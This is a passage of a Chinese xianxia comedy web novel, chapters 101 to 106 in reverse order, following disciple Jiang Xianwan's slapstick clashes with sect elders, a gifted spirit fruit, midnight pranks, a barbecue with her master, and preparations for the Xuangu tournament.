花不休静静望着衣裙卷着花瓣,双臂挽着紫色劫雷,在一圈灵剑环绕中,同楚微凝和祝茵曼手拉手起舞的少女,眼眸碎出粼粼的银,仿佛有星子坠入。 亲传喝嗨了,剑跳嗨了,劫雷扭成麻花,根本没人管剑尊,起哄要江献晚讲故事。 江献晚余光注意到眼角一抹绯色的凤仪剑尊,接过他手中的空酒盏,换了张可以折叠的软榻,让他躺靠的舒服些。 她看着群魔乱舞的亲传和嗷嗷大叫的剑,想到新的花招,凌空一甩小紫,桀桀邪恶一笑,“今天不讲故事,咱们玩游戏!” 小紫:…… 听到玩游戏,小脸酡红的时云霄,记吃不记打,手举的比林玉锦都快,“什么游戏?” 江献晚扬手一抬,拿小紫抽下一枝桃花,一只脚踩在板凳上,“来!转桃花!大冒险!” “好!”众亲传扭曲着四肢从地上爬起来,啪啪鼓掌! 剑跟着大声嗡嗡。 听不懂,但肯定好玩。 江献晚喝了两坛,缺德劲上来,一撸袖子,“先说好,待会谁敢赖皮,我今天晚上就跟着他回峰头!” 亲传一听,觉得她接下来肯定不干人事,又很想玩,被酒劲冲昏头脑,“行!谁赖皮谁就是孙子!” 豪言壮语都放出来了,江献晚朝三个师兄道:“师兄,你们听到了吗?” 苏清流有些醉意,微微颔首,“谁耍赖,今晚爬着出去。”打断腿。 白子夜抱着酒坛子,嘟嘟囔囔,“符箓免费送。”豆沙了。 林玉锦努力从桌子底下爬出来,“拉屎丹我还有一缸。”全拉死。 江献晚:“大聪明,你们听到没?” 剑忙不迭兴奋点头:都别活! 江献晚:“小紫?” 小紫:天打雷劈! 亲传:“……” “那个……我能不能看你们……”有人弱弱举手,被四双眼刀子剜回去。 “那,玩吧。” 江献晚一扫各个小脸通红,忽然揪起心,又菜又想玩的犯罪同伙,满意极了,开始作简单的讲解,“桃花对着谁,尾巴方向的人就可以提出一个要求,指定他做任何一件事。” 她说罢,嘎嘎一笑。 明知道她笑的不怀好意,没安好心,不过,狠话都撂下了,祝茵曼狠狠一抹嘴角,“来就来!谁怕谁!” 不活了! “好!我就喜欢你们自寻死路的样子!”江献晚将桃花枝重重往桌上一拍,“开始!” 随着一声令下,亲传和剑,就连小紫,纷纷屏住呼吸,努力瞪大眼睛。 江献晚指尖轻轻一弹,桃花枝在灵力的催使下迅速急转起来。 第 106 章 聚餐 太虚宗这些剑,祖宗级别的不在少数,竟肯亲自下场,甘愿沦为弟子的陪练。 实在是……高风亮节,舍己为人! 徐燕洲一想到这么多剑愿意出来陪练,原因只是因为想听江献晚讲什么一胎八宝的故事,就觉得背有点挺不直了。 这种事说出来,很威风吗? 只能僵硬地扯出一抹高深莫测的笑容。 “咦?那怎么有个拎大铁锅的?” 修言这么想着,指着江献晚诚恳地问了出来,“那口锅是她的武器?” 太虚宗惊绝的剑不是很多吗? 徐燕洲看了一眼剑气纵横中灵活闪避的江献晚,她一个漂亮高抬腿,扫飞祝茵曼,顺手一锅开瓢楚微凉,余力不减,又接连砸飞两个亲传。 嘴角登时疯狂抽搐,腰更弯了。 暗骂一声不干人事的小兔崽子,又幽怨地望向远处恰巧经过的剑尊。 认亲不过两个月,太虚宗的天,黑了半边。 花不休阔袖及地,侧目看来,“心中若有剑,锅既是剑,剑既是锅,何必拘束于手中持的是什么。” “剑尊前辈说的是!晚辈懂了!”修言忽然拱手深深一揖,激动不已,“多谢剑尊指点!” 天青宗和道明宗掌门更是流露出钦佩敬仰的神色,齐刷刷一礼,“见过剑尊,今日我等受教了!” 剑尊一出口,字字发人深省! 花不休:“……”你们懂什么懂了,我都不知道自己在说什么。 徐燕洲:“……”老实的我格格不入。 天青宗掌门越说越起劲,“她虽然拎着一口平平无奇的锅,却能让人感受到一种与天争与地斗的气魄。” 瞅瞅,不愧是第一大宗,一口锅都能拎出毁天灭地的气势。 于是乎,越看越喜欢,一阵嘎嘎猛夸。 花不休都忍不住多看了他两眼。 他说什么呢? 徐燕洲:“……”你们能自动理解成这样,真的很好。 —— 临行前夜,江献晚提议来顿烧烤,一醉方休,放松放松心情,林玉锦是举手最快的。 对于江献晚还要请花不休一起来吃饭,三个师兄一脸痛苦,倒没拒绝。 江献晚没在意,反正待会喝起酒来,气氛就活跃了。 她来到花不休院子里,就看到墨发顺着雾霭般青裳铺满整个美人榻,对月独赏的美人师尊。 这场景极美,景美,人更美。 江献晚自叹弗如,背着手,弯腰凑过去,“赏月呢?” 花不休悠悠拿指尖戳她眉心,将她脸戳远些,“做什么?” 后者义正言辞,“做饭啊?这不是特意来请师尊过去掌勺,做饭给徒儿吃啊。” 花不休:“……” 他微微侧眸,眉心火流纹随眸光流转,仿佛雪地上溅落的艳梅。 “你看我是会做饭的?” 江献晚捉住他的衣袖,不给他拒绝的机会,“不会才要学啊,师尊没听过一句话么,想要抓住一个女人的心,就要先抓住女人的胃,你这样是找不到道侣的。” 花不休眼尾轻轻一挑,“哪里听的歪理。” 又道:“谁说为师要找道侣。” 却也顺着她的力度款款起身,鸦羽发丝随青衣倾泻而下。 江献晚顺手拂去他肩头的墨发,扯他过去,“不找,那师尊今日屈尊降贵,给徒儿做顿饭。” “东西都准备好了。” 花不休垂眼看衣袖上皙白的手指,跟着去了江献晚院中。 他一露面,林玉锦他们还是习惯性绷紧了皮,一本正经喊过师尊,装作很忙的样子,低头串肉类和蔬菜。 江献晚见花不休脚步微微一顿,立刻摁着他的肩膀,在小凳子上坐下。 随手分给他一把串着肉和蔬菜的竹签子,继续挑选,“师尊,您要不要尝尝蘑菇?” “哦,鹿肉也来一些吧,微辣的。” 江献晚卷起衣袖,一边忙忙碌碌,头也不抬。 花不休将竹签搁在烧的明红的铁丝网上,薄唇一张,“给我两串灵椒。” “哦。” 江献晚将灵椒递过去,搁下小刷子,拿起勺子舀了蜂蜜,很自然的转手,“您尝尝,甜的。” 三个少年直勾勾的盯着花美人微微张开唇,就着江献晚的手吃了蜂蜜。 一边扯了一下江献晚快要碰到铁丝网的衣袖,很是自然的摸出两根发带,“伸手,袖子莫要燎到。” 江献晚伸出手,低头嘟囔,“大袖穿起来就是麻烦。” 又问,“师尊,您袖子也绑一下吧。” “唔。” 他手肘略略一抬,江献晚摸出两根发带。 三个少年:“……”地狱模式的那六日,他们还是第一次偷偷看见,花美人费尽心思,哄人哄了半天。 苏清流首先收回目光,睫毛微落,察觉到什么,眼底多出一丝不悦。 院落外,少年面庞微红,原地踌躇。 秦秦毫无意外对上三个面无表情,齐刷刷来盯他的少年。 还有,似不经意抬眸,朝他看来的花不休。 秦秦一见剑尊也在,打招呼的声音卡了回去,犹豫着准备离开,江献晚刚好转过头,热情的摆手,“秦师兄,你怎么来了?吃饭没?” 秦秦看了看凤仪剑尊,又多出两分局促,“没什么,只是随便走走,刚好走到这里,来看看你……们。” 随便走走? 白子夜心中呵呵冷笑,你还不如不加那个们! 贼心不死,总想抢他们的小师妹。 凤仪台跟太灵峰可不是一个山头,中间隔了好几座,这么刚好的吗? 刚好走到小师妹的院子? 他总觉得此刻有满肚子火,没地发。 苏清流唇角微压,林玉锦低下头,恶狠狠的将肉使劲往竹签上捅。 不过,这种古怪的气氛并没有维持几秒,江献晚刚喊秦秦坐下,一群吵闹的亲传如入无人之地,一脚踹开了她的大门。 “竟然背着我们偷吃!还好我们聪明!” “江献晚!大晚上你关什么门!” “我今晚非得好好给她上一课!” “江献晚!我们来给你们送行了!还不快接驾!” 亲传挤门而入,看到扎着袖子,一脸接地气,认真烤肉的剑尊,叽叽喳喳的场面顿时一静。 江献晚都整无语了,“行啊,上课是吗?带酒了吗?” 众亲传面面相觑,时云霄默默搂紧怀中的两个酒坛。 话说,今天这个饭,蹭还是不蹭。 凤仪剑尊可是在这呢。 话又说回来,那些烤肉闻起来可真香。 第 105 章 玄古大赛 第二天,长老亲传爬上凤仪台,抱着花不休的腿哭。 第三天,掌门长老亲传跑到凤仪台,放声大哭。 第四天,全宗上下一个不落,狗鸟,连蛐蛐都来挤在凤仪台跟着汪汪嘤嘤哭。 花不休:“……”真的,他以为他死了。 六日后,花不休牺牲自己,成全众人,从孽徒的房间里再出来,太虚宗的末日,终于……结束了。 历经六日地狱模式,江献晚这个刺头……骨子里的疯狗属性彻底放飞。 两眼一睁,就是干。 走起路来,比剑尊掌门都要大牌。 所到之处,弟子们反射性噌噌爆退至一旁,大气不敢喘,正眼不敢看。 长老们远远看到她,更是装作很忙的样子,低头理衣袖的理衣袖,望天的望天,生怕跟她对视被盯上。 去膳食堂吃饭,大师傅顿顿高低非给她整六个菜。 江献晚并没有收敛半分,整日除去和风回雪江行行聊天,其余时间卷的倒沫子。 白日里锅符不离手,见到长老,甭管是谁,追着就打。 不仅拿锅扣长老的脑袋,蹲在草丛中搞偷袭,还趁人家去茅坑,丢爆炸符。 铁长老都给她干趴下好几回。 徐燕洲被她开了一锅,闭门不出,亲传弟子更是遭受到毁灭性的打击。 她得劲了,晚上就去观书楼刷两个时辰的玉珏,回来还能颠个锅。 苏清流三人一看小师妹如此变态,立刻将睡觉时间压缩在两个时辰。 没有最卷,只有更卷。 江献晚这几日却有些忧桑。 鉴于这两次春潮期间隔时间有点短,生怕大比时出现这种情况,害她头脑不清醒,惦记男人。 花不休原本不同意她去的,可最后觉得孽徒咬人挺凶的,放出去还挺合适。 不过,在听到妖域不知抽什么疯,派使者出使南境,要重新继续三百年之前的玄古大赛,江献晚勾唇一笑。 这事自然是她与风回雪提前商量好的。 背地里欠了云为泽一个人情,又因江行行的存在,妖域和南境发展一下感情,挺好的。 听云为泽说,从前的玄古大赛,三境三域都会派出一队弟子参赛,十年一大比。 结束之后,还会各自挑选弟子作为交换生,美其名:增进彼此间感天动地的友好感情。 最后因为界域的崛起,界皇的霸道横行,这个习惯被迫终止。 没想到的是,妖域放低身段,主动提出掺和一脚,使者还没走,魔域紧随其后派了使者,表示也想参加。 界域见状,同样跟了个风。 徐燕洲同北境万古宗雾掌门紧急连线,不知怎么商量的,便同意了。 只不过,原先两境六大宗各自挑选六支小队伍的规则,改成了两境各自出一支小队伍。 三域自然亦是如此。 最后将此次大赛的地点定在虚古境,也就是,曾经的中州。 得知两境三域要延续玄古大赛,原本参赛弟子便要重新选定,南北两境很有可能被选上的亲传瞬间压力倍增。 觉也不睡了,饭也不吃了,生怕放出去丢宗门的脸。 江献晚追着十几个长老打了一天,心满意足将自己跌在床上,“儿子呢?” 风回雪举起江行行的手指谴责她,“每次张嘴就只想儿子,你心里还有没有我这个人?” “有!”她敢说没有,敢语气敷衍,死狐狸肯定又要闹了。 风回雪努力压,没压下唇角羞臊而甜蜜的弧度,嘟囔道:“不许敷衍我。” “没敷衍啊,天天想啊。” 在一起生活两年,死狐狸和儿子都不在,很不习惯。 尤其大赛越近,心里越是迫切重逢的那日。 风回雪圆满了,咬着唇,支支吾吾道:“我也……” 最后三个字还是模糊在喉咙间。 他轻咳一声,“那个,本来想着有行行,又欠了云为泽的人情,妖域和南境走动走动也挺好。” “天狼王那个狗东西以为我想和南北两境交好,十二个名额,抢走了八个,背地里不知道在打什么算盘。” 江献晚轻哼,“管他打什么算盘,我来收拾他。” 风回雪红着耳尖,应了声,大尾巴轻轻搭在困的撑不住,睫毛渐渐耷拉下的江行行身上,继续道:“没想到魔域和界域也要参加,玄古大赛人妖魔齐聚,你当心些。” “放心,干就完了。” 原本两境大比,现在成了玄古大赛,依照传统规则,参赛的弟子年纪限制在十五岁至二十五岁之间,修为上下不封顶。 太虚宗收亲传严苛又严谨,十年一次的新弟子选拔,十二位长老极少收徒,尤其负责问剑堂的三位。 因时云霄打算过几日闭关感悟,秦秦准备前往一个秘境寻找机缘。 众峰亲传自知狗不过凤仪台,开开心心迫不及待的举手表决,将苏清流四人强推出去抗雷……啊不!为宗门挣脸面,成全自己的好日子。 掌门长老短暂商议之后,四个名额,毫无意外落在凤仪台。 四人学的杂,又都很不错,阵法符箓炼丹剑道样样精通。 最重要的是……比太虚宗活了三十年的狗都狗。 各峰亲传加起来,不敌十分之一,根本不用考虑。 当然,他们绝对不会承认……他们真的受不了凤仪台这四个兔崽子了! 尤其江献晚!!! 还是让他们出去祸害别人,他们在家好好喘口气,享受一段幸福到想哭的时光。 不过,因三域心血来潮参加,太虚宗不管出于提防他们想要借此搞事情,还是为了面子,显然很重视此次的大赛。 凤仪剑尊虽打算去,徐燕洲思索片刻,还是决定与铁长老一同前往。 其他两大宗亲传,会提前来太虚宗汇合。 两日后,天青宗和道明宗道友抵达太虚宗。 徐燕洲携三位长老和数名内门弟子前来接引。 至于,为什么不是亲传一同接待…… 没空。 他们顶着日头,还在演武场上,挥汗如雨。 说是切磋,倒不如说是凤仪台的四个亲传,被其他各峰亲传,还有……一群剑,追着打。 远远望去,各种法器光芒迸射交织,好不刺激。 道明宗掌门木涔看的咋舌,“这些都是剑冢的剑?竟都出来了?” 天青宗掌门兀自颔首称叹,“这架打的实在是……酣畅淋漓。” 第 104 章 互相伤害 跟花不休揍她的时候一样。 语气欠揍,“为师的乖徒儿,再跑快点啊。” 江献晚好奇道:“您和我师尊是亲兄弟?” 那日,她听到云为泽叫了一声哥。 云为泽轻轻拉下她的衣袖,“他啊。” “嗯。” “我表哥。” 江献晚:“……” “那我师尊小时候也尿床吗?” 云为泽:“……?” 貌美的南帝尊嘴角似乎动了一下,沉默良久,表情有点无语,“你说呢?” 谁小时候不尿床? “他打过你吗?” 想到从江献晚房间出来的时候,云为泽抿了抿唇,“他打人挺疼的。” 江献晚深有体会,并发出恶狠狠的豪言壮语,“总有一天,我要揍的花美人对着我哭。” 云为泽将另一瓶药给她,“那你加油。回去记得药浴,别先被他揍哭了。” 江献晚背上挨了不少戒尺。 那戒尺是铁长老的本命灵器,身上的乌青,没有几日,好不了。 江献晚揣起药瓶,掩唇打了个哈欠,眼角沁出点点湿意,睫毛无精打采的垂落,“那我回去睡了。” 转脚到了凤仪台。 同不知从哪里回来的花不休迎面撞上。 两师徒无声对视几秒。 花不休手微微一伸,嗓音淡淡,“为师手疼。” 江献晚:“……?” 盯着那只骨感优美,无任何瑕疵的手,“哪里疼?” 他分明没事找事。 花不休偏头看她。 数十秒后,江献晚麻木着脸,将手中云为泽给的药瓶给他,“止疼。” 太过分了! 这点东西都不放过! 花美人好没道德! 花不休接过,唇角勾起若有似无的弧度,双手拢于及地的阔袖中,青衣翩翩,很是好看。 说出的话,却格外令人心寒。 “你该不会在心底骂为师吧?” 江献晚反射绷紧皮,幽怨地回瞅他,“师尊,您看您,瞎说什么大实话。” 你自己心里没点数吗? 这还用问吗? 花不休:“……” 唇角浅勾,悠悠举起一个青色小瓶子,缓慢转动,语气端的十足欠揍。 “为师亲手炼制,本来想给某个爱徒,如此看来,倒是可惜了。” 江献晚扑过去,果断把小瓶子抠过来,“师尊尊,徒儿觉得,一点都不可惜!” 抠完,生怕花不休反悔,一溜烟跑了。 花不休低头,视线落在玉白的瓶子上。 —— 鉴于凤仪台亲传野的没边,整日跟个窜天猴似的上蹿下跳,两境大比又近在眼前。 负责授课的长老们将凤仪台列为重点对象。 江献晚他们过的那叫一个水深火热,每天都能生出一万次原地死一死的念头。 不仅要被花不休摁着暴揍,每日还要被长老们上课,期间穿插一两节文化课。 值得一提的是。 林玉锦每天雷打不动,都要腾出半个时辰的时间,用那支傻笔写字。 誓要写至字迹消散,以此来证明他才不是傻子。 江献晚抽空又去了一趟黑市,取回了锅,吃了铁长老的一顿竹笋炒肉。 白子夜看着十一口锅陷入沉思,两个少年同情地走过来,拍拍他的肩。 除了练剑挨揍,修习阵法符箓,他蹲在院子里刻了整整半个月的锅! 当然,他也没放过林玉锦,每刻好一口,便摁着林玉锦的头,让他炒菜。 美其名曰:试试他刻的阵法是否完善,需要改进。 苏清流更是受到各长老的倾心关爱。 天生剑骨,好苗子啊! 不能放过! 被长老们全身心包裹的苏清流原本还想继续压境界,等想突破的时候再突破。 在挨了三天打之后,终于受不了了,一举突破化神,飙至巅峰,开始尝试反抗。 江献晚是被盯的最紧的那一个,拿捏她,就能拿捏整个凤仪台的七寸。 只要江献晚翻不出他们的五指山,另外三个野猴子自然而然手拿把掐。 各峰亲传乐的看笑话,尤其最近长老们腾不出手打他们,于是天天搁中间煽风点火,看江献晚挨打。 全宗上下的恶意,江献晚体验的最是淋漓尽致。 有压迫就有反抗,江献晚终于……疯了。 不等长老们起床,半夜丑时就满峰头乱窜,一脚将长老的门哐当踹掉半扇。 “明长老,您修为在长老里最菜也罢,连我这个小元婴都打不过,化神期是让床封印了,还是被屁股坐住了?怎么好意思睡的着的?” 明长老:“……”你特么。 “铁长老,我睡不着。说真的,我一直没告诉你我其实有个毛病。” 铁长老顶着一只被江献晚打乌青的黑眼圈,一脸茫然的瞅着躺在地上的半扇门,还没睡醒,沉默良久,“什么毛病?” 江献晚盯着他,面无表情,“就是……” 她攥指成拳,二话不说,又给了铁长老右眼一个黑眼圈。 “干什么都喜欢对称。” 当然,掌门她也没放过。 江献晚霍霍完所有长老,调头来到太虚峰,一手将徐燕洲的窗户卸下来,扣开他的眼皮,“掌门师伯,来,把眼睁开,看看您带的兵。” 徐燕洲一睁眼,沉默晒干。 本该夜深人静的宗门,此刻闪烁如星,乒铃乓啷,哇哇声在各峰头此起彼伏,活像养了一坑大蛤蟆。 而半空,悬着一个梦幻而绝美的星轮。 道道剑意宛如地狱里狂欢的魔鬼,下暴雨似的肆意朝各峰泼洒,随机奖励一个小朋友。 还有亲自下场的灵剑,狗咬腚似的追在亲传屁股后面啪啪啪。 那扭成蛆的紫色劫雷,一路火花带闪电,横扫各峰,抽的亲传捂着屁股,一边跳一边嗷嗷嗷。 有哪个长老试图去抓星轮,小紫就将他捆起来,吊在半空使劲电,星轮跟着打长老屁股。 不止这些…… 各峰接二连三传来地动山摇的爆炸声,蘑菇云一朵朵在太虚宗上空绽放,活像来到世界末日。 各种变异的叫声,夹杂着“今天是个好日子”的幸福歌声,仿佛让人置身于什么变态的幽冥深渊。 徐燕洲沉默半晌,突然觉得很冷,慢慢扯了扯被角,“你……还做了什么?” 江献晚咧嘴朝他一笑,惨白的月色下披头散发,活像深夜飘来荡去的女鬼,“没什么,我跟小紫和大宝剑都说好了。” “您放心,这种情况,肯定能维持个小半年。” 她花了两夜,做了三千条总引线,每引爆一条,藏在各峰的符纸,每次三百张一个一个,触发就爆。 徐燕洲:“……” 第 103 章 皮又痒了 听着后山传来的恐怖动静,四人吭哧吭哧跑回凤仪台,挤在桃花树下,头碰头盘膝而坐。 江献晚拿出另一颗生灵果,“还有一颗,放久了就不新鲜了,二师兄小师兄,你们分吃。” 苏清流本就在压境界,她吸收太多灵力,更需要压一压,还不想短时间内突破,生灵果对他俩没什么用。 苏清流同样的想法。 若不是看在裴长安竭力相护的面子上,两颗生灵果完全可以助白子夜和林玉锦直接结婴。 铁长老那里不用担心,有经验,绝对能成功突破合体。 林玉锦忙摆手,“我不吃!给二师兄!” 反正他年纪小! 白子夜抬手给他一捶,“闭嘴!你吃!” 苏清流灵力化作利刃,将生灵果一分为二,言简意赅,“吃。” 他俩搁这搁这呢! 一颗破果子,至于这么让来让去的吗。 “别担心,半颗也能突破!加油!” 江献晚给两个师兄加油打气。 她从芥子囊拿出最后三颗果子,“顺便再来一个水果。” “这是什么?”白子夜接过拳头大的水果,问道。 “别人给的,老甜了。” “大师兄,你也垫垫肚子。” 这玩意儿既然能修复妖丹,恢复修为,吃了肯定没坏处。 白子夜和林玉锦听到甜,也不问了,小师妹让他们吃,他们二话不说咔嚓咔嚓快速啃完。 又吃了几颗补充灵力的丹药,迅速飞向后山,决定一鼓作气结婴。 后山半边天明明灭灭,孤单抗雷的铁长老想来很快就不孤单了。 苏清流看了看手中水果,没多问,攥了江献晚的手腕跃上屋顶。 后山的劫雷,连续不断,气都不喘,劈了十来日。 先是铁长老,再是白子夜,最后是林玉锦,歇都不带歇的。 众人都看麻了。 经过也只是眼皮子一抬,该干嘛干嘛。 痛苦的世界只有苏清流和江献晚达成。 两人根本没机会欣赏后山的劫雷,被掌门和一群长老摁着头,一节课接一节的上。 还有来自各峰亲传的热烈关爱。 短短几日,过的那叫一个生不如死,走路都是飘的,苏清流一张厌世脸都成了好想死。 成功结婴的白子夜,铁长老也没放过他。 前脚刚结婴,后脚就被突破合体蹲在原地的铁长老麻溜拎回了课堂,顶着一张乌漆麻黑的脸,接受暴打。 铁长老美其名说,怕他刚结婴,境界还不稳,多操练操练有助于快速习惯。 想打人就直说! 别说,合体期的铁长老,那戒尺抽起来更疼了! 白子夜一连几日哭丧着脸,也不嘻了。 江献晚忽地将手里的葱油饼往盘子中重重一放,一身反骨,一生反骨,轰然起身。 “我不干了!这破亲传谁爱当谁当!我要立刻马上就现在叛出宗门!” “天王老子来了也不顶用!” 她气势汹汹地绕开祝茵曼,往外冲。 食堂里的弟子望着刚步进来的那挺拔雄伟,缓缓从衣袖中抽出戒尺的铁长老,纷纷向江献晚投以怜悯的目光。 “江师妹,你丸辣!” “江师妹好走!” “江师妹!我晚上给你送饭!” 江献晚:“……?” 皮一紧,绝望抬眸。 下一刻,江献晚被铁长老当着满食堂弟子的面,揪了耳朵,拎出去! “判出宗门?江献晚!你皮又痒了不是!” “三天不打上房揭瓦!小兔崽子!你给我过来!” “还天王老子来了!你挺能耐啊!元婴了不起啊!信不信我抽死你!” 满世界的恶意,最后只有江献晚体会到了。 铁长老追着她抽了十几座峰头,劈头盖脸的戒尺抽的她速度一快再快,两条腿捯饬成风火轮! 看着叉腰喘着粗气的铁长老,江献晚果断脚底一抹油,跑了。 夜幕四合,骂骂咧咧的声音终于散去,她手脚并用,抖着腿从草丛里钻出来,轻易被一缕灵力卷走。 江献晚宛如被痛打的落水狗,上半身痛苦的瘫在桌案上,“水……给我一杯水!” 云为泽将海碗倒满,推给她,“能自己喝吗?” 后者艰难的直起身子,抖着胳膊,碗里的水也跟着抖。 嘴还挺硬,“能!” 一碗水洒了半碗,江献晚怨气比死了八百年的厉鬼都重,“等我做了长老,也要这么使劲操练弟子!” 云为泽:“……那你志向还是挺远大的。” 江献晚搁下碗,差点没绷住,哭出来,一卷衣袖给他看,“您瞅他给我打的!” “我都不想说!” “掌门还带着长老嗑瓜子看热闹!数我挨了多少下!” “太过分了!” “没良心!跟花美人一样凶残!” “花美人?”云为泽屈指支着面颊,眉轻轻一挑。 江献晚重新伏在桌上,语气忽然恹恹,显然挨打了大半天,累坏了。 一下没一下的抠着手指,精神不济,“他长得跟小妖精似的,追他的人从万古宗排到太虚宗。” “那倒也是。”云为泽攥了她的手腕,从桌案另一头拉过来。 指尖从手边搁置的药瓶中取出一团膏体,细细涂在雪白小臂上两道乌青痕迹,以灵力化开。 语气多了两分赞叹,“铁长老脾气最凶,你还敢跟他还手。” 感受着男人指尖的温度,江献晚小臂僵了一下,而后,心塞的要碎了,“我要不还手,他打我打的更狠。” “那你们还将生灵果给他,打起来岂不是更痛。” 江献晚没忍住,后悔的呜啊一声,“还别说,合体期果然打人疼多了。” 又掀起睫毛瞅他,“您怎么知道?” “我怎么知道?”云为泽朝她笑,修长的手指摊开,示意她将另一只手伸过来,“铁长老声若天雷,吵的我睡不着。” 江献晚捶了一下桌子,“是吧!您说他怎么那么凶!” “他凶是因为谁?”云为泽无奈低声道:“手不要乱动。” 她怎么成日生龙活虎的。 带着伤,还能活蹦乱跳,跟没事人似的。 不痛吗? 云为泽垂下眼帘,看着那片乌青痕迹与周围细腻雪白的皮肤颜色分明,眉微蹙。 不忘叮嘱。 “下次跑快点。” 江献晚:“……您还真是体贴。” 第 102 章 来个水果 四人直奔附近的酒楼,迅速打包一整张菜谱的好菜好酒。 又重新加了件黑色外裳,踏着夜色往宗门赶。 有了生灵果,底气硬的不行,一点都不担心吃什么竹笋炒肉 不过,也没敢继续乱晃。 怀璧其罪的道理,还是懂的。 怀里揣着生灵果,消息不胫而走,若是有境界比他们高很多,又急需这种东西续命的修士。 别说剑尊,就算两个帝尊的名头全拿出来,该杀他们还是杀。 他们深知人心险恶,就是有点不开心。 本来打算多玩些日子,最好掐着两境大比回去,以此逃脱铁长老他们的魔爪。 赶了大半夜的路,天还未亮,四人排队往狗洞钻。 林玉锦推了一下白子夜,“你倒是把腚挪开啊!” 后者不吭不响,默默从狗洞中爬出,低着脑袋,站到了同样沉默的苏清流身侧。 林玉锦嘟嘟囔囔钻进来,待看到凶神恶煞,手持戒尺,一下一下击打着掌心的中年男子。 被戒尺支配的酸爽小味道,挠一下上来了。 表情一苦,哭唧唧起身,“铁长老,您不睡觉的吗?” 铁长老咧嘴一笑,“你觉得我睡的着吗?” 敢逃他的课?! 搁谁谁能睡着? 做梦都要气醒了! 林玉锦还想说什么,被一记残暴的眼神瞪的一哆嗦,双指捏紧嘴巴,手动闭麦。 江献晚:“……” 正要缩回身子,却听铁长老暴喝一声,“江献晚!你给我爬快点!” 接下来,整个太虚宗都回荡着铁长老骂骂咧咧的声音。 “小兔崽子!今天我要是不扒了你们的皮我跟你们的姓!” “敢逃老子的课,宗规一万遍!” “抄不完不准吃饭!” “敢再跑,打断你们的狗腿!” 铁长老早就准备好四根竹竿,往地上一插,拿铁链将他们的脚拴起来。 起床准备吃早饭的各峰亲传,飞快的打过饭,闻着声音赶到,一个不落的都来了。 更过分的是,楚微凝和祝茵曼手里还端着一碗香喷喷的肉沫炸酱面! 蹲在地上,一边呼噜呼噜的炫,一边看的津津有味。 四人被抽的龇牙咧嘴,次次狡辩的话被铁长老一戒尺抽回去,手中的笔抡的直冒烟。 林玉锦很是不服,“铁长老,我们有……” “闭嘴!”铁长老果断又奖励给他一戒尺,“写快点!” “再多说一个字,我打断你的狗腿!” 林玉锦眼泪汪汪,手中傻笔登时快出了残影。 铁长老暴躁疾走几步,一个接一个狠狠抽过去。 “别以为你们是剑尊亲传我就不敢罚你们!” “目无尊长!你们眼里还有谁!” “江献晚!尤其是你!”铁长老跳起来抽她一戒尺,“笑什么笑!还有脸笑!别以为我不知道,跳的最欢的就是你!” 江献晚:“……” “说说!自打你们回宗,这都多少回了!” “还有你们!一个个的都给我看好了!敢逃我的课,这就是下场!” 看热闹的亲传,一边吃,头点的跟小鸡啄米似的! 时云霄蹲在弟子中间,从没笑的这般灿烂过。 竖起一根手指,朝端着一摞刚出锅的肉饼的秦秦,开心一晃,“这四个是天才啊!铁长老骂了足足一日一夜,今日声音竟还能如此洪亮。” “不过,秦师弟,你拿这么多肉饼,吃的完吗?” 秦秦看着被抽的呲牙咧嘴的江献晚,眉紧皱,根本没听到他的话。 江献晚整个后背火辣辣的疼,一手撑地,捏笔的手试图去掏芥子囊,“铁长老,你先……嗷!别打了!” 苏清流三人:“……” 毫无意外,四人被噤了声,在铁长老铁面无私,双眼如电,眼皮也不眨的紧盯下,从天明写到天黑! 别说肉饼,一口水都没喝上,就跟拴狗似的! 铁长老骂的嘴都干了,一天下来步数至少三万。 地上都是被他踩出来的坑。 他左手捏着一沓厚厚的宗规,右手的戒尺划出一抹冰冷弧度,“说!还敢不敢再犯了!” 四人忙不迭摇头。 岂料,下一秒又双叒叕各挨了一戒尺! “说话!都哑巴了吗!” 一直神情淡淡的苏清流,这一刻,脸都绿了。 白子夜和林玉锦痛苦的呜咽着,扭曲着。 江献晚表情很是麻木,无声指了指自己的嘴。 您倒是把噤声术解开啊! 不解开他们怎么认错! 再次气的跳脚的铁长老终于沉默了。 冷着脸解开噤声术,恶狠狠道:“说话!” 江献晚抖着手递他一颗白花花的水果,双眼噙泪,“铁长老,骂了两天挺累的吧?要不要来个水果润润喉咙?” 正欲再赏她一戒尺的铁长老:“……” 他眉目一低,视线落在指白莹莹的果实上,神色一时间有些茫然。 “生灵果……” 三个少年从墙根上跌下来,林玉锦抖着两条面条腿,一屁股坐在地上,去拆铁链,“您看看,这就尴尬了不是!” “有没有很惊喜!有没有很意外!有没有感动的想要抱着我们痛哭流涕说我错了!” 铁长老捏着那颗生灵果,茫然的表情逐渐变成深深的复杂。 扫过捶肩捏腿的四人,眼中还带着不确定的错愕,“给、给我的?” 他如何也没想到,苦寻而不得的生灵果,有一日会这么大大咧咧的被几个小家伙随手送到眼前。 他们在哪里弄的? 又是如何摘到的? 就这么水灵灵的塞给他了? 他们不知道生灵果对于一个修士来说,有多大的作用吗?! 白子夜揉着手腕,哭丧着脸,也不笑了,“不然勒?” 谁料,铁长老忽然回过神,烫手似的将生灵果塞回江献晚手中,“这东西太贵重我不能要!” “你们自己收着!” 铁长老人如其名,铁面无私,金科铁律。 如何能要了几个小崽子好不容易得到的生灵果。 林玉锦唉叹了一声! 四双眼睛一对视。 三个少年迅雷不及掩耳之势摁住了铁长老,江献晚蹭地一下扑过去,将生灵果直接塞他嘴里。 “您就吃吧!不够的话还有一个!” “就是!”林玉锦嚷嚷道:“您要是死了可就别想再打我们了!” 白子夜:“嘻!可能会掀开棺材板打。” 铁长老没想到几个小混蛋会对他出手。 他不可置信地捂着嘴,眼瞪的像两只铜铃。 看着像猴一样飞窜出去的四个,许久没能反应过来。 他眉间所有的负担,不知不觉尽数消散,只觉浑身从头到脚的轻松。 铁长老笑骂出了声,“这几个小兔崽子!” 以后少打两下吧。 他自言自语,飞快掠向后山。 压不住了,他要突破了! 第 101 章 咱们可爱 敢说她丑! 她看起来是什么很好欺负的人吗! 裴长安:“……?” 众人:“……?” 他们看到了什么? 这一刻,所有的人像是被点了穴,保持着交手的动作,定在原地。 只见那条威风凛凛的黑金蟒,跟狗似的,朝着江献晚轻轻摇了摇尾巴尖。 与方才想一尾巴抽死他们所有人的态度很是不同,极尽狗腿之意。 而后,麻溜的收回要咬那个年轻散修脑袋的嘴,头颅一转,对着灰袍老者一口咬了下去! 一条活生生的人命,被一张血盆大口霎时吞入腹中。 还想尝试抢夺生灵果的修士,理智彻底回归,开始默契的往后倒退。 “那个,我还有事,我先走了。” “那个,我突然想起来,我今天好像要结婚。” 